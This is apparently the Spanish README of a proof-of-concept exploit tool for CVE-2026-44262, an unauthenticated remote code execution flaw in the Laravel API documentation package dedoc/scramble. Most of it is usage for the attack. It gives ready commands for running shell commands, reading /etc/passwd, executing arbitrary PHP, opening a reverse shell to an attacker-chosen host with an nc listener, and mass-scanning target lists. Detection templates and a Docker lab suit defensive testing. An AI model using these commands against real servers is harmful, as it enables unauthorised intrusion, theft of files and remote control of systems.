dedoc/scramble RCE (CVE-2026-44262) PoC

📜 Descripción

CVE-2026-44262 es una vulnerabilidad de Ejecución Remota de Código sin autenticación en dedoc/scramble, un generador de documentación de API de Laravel.

NodeRulesEvaluator::doEvaluateExpression() llama a extract($variables) antes de eval("return $code;"). Cuando un controlador asigna $request->input() a una variable llamada $code y la usa como regla de validación, Scramble rastrea esa variable y la pasa al ámbito de eval. Un atacante puede sobrescribir $code con PHP arbitrario proporcionando un parámetro de consulta manipulado a /docs/api.json.

Versiones afectadas: dedoc/scramble >=0.13.2, <0.13.22

✨ Características

• Auto-detección — escanea la especificación OpenAPI para descubrir parámetros vulnerables automáticamente
• Sonda de temporización — verificación segura no intrusiva usando sleep() para confirmar que eval se ejecuta
• Ejecución de comandos — ejecutar comandos de shell y capturar la salida directamente desde la respuesta HTTP
• Lectura de archivos — leer archivos arbitrarios del sistema de archivos objetivo
• Ejecución de código PHP — ejecutar código PHP sin formato a través del RCE
• Shell reverso — shell reverso PHP con proc_open, sin necesidad de bash o busybox
• Escaneo masivo — escanear múltiples objetivos desde un archivo
• Detección de SO — detecta automáticamente Windows/Linux/Darwin y ajusta los payloads en consecuencia
• Nmap NSE — script de detección pasiva + temporización (http-scramble-rce-detect.nse)
• Plantilla Nuclei — detección en dos pasos con confirmación de temporización (CVE-2026-44262.yaml)

🛠️ Instalación

Sin dependencias externas — solo usa la librería estándar de Python.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Uso

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Detección

# Detección completa (sonda de temporización + exec)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Solo verificación segura — sonda de temporización, sin ejecución de comandos
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Sobrescribir la ruta del endpoint JSON
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Escaneo masivo
python3 CVE-2026-44262.py --targets targets.txt

Explotación

# Ejecutar un comando
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Leer un archivo
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Ejecutar PHP sin formato
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Shell reverso (iniciar: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap y Nuclei (pasiva + temporización, sin explotación)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Laboratorio Docker

Se incluye un entorno Docker autocontenido con la aplicación vulnerable (dedoc/scramble v0.13.21). Consulte docker/DOCKER.md para más detalles.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 Referencias

• dedoc/scramble
• Aviso de GitHub — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Descargo de responsabilidad

Esta herramienta se proporciona únicamente con fines educativos y de investigación. El creador no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.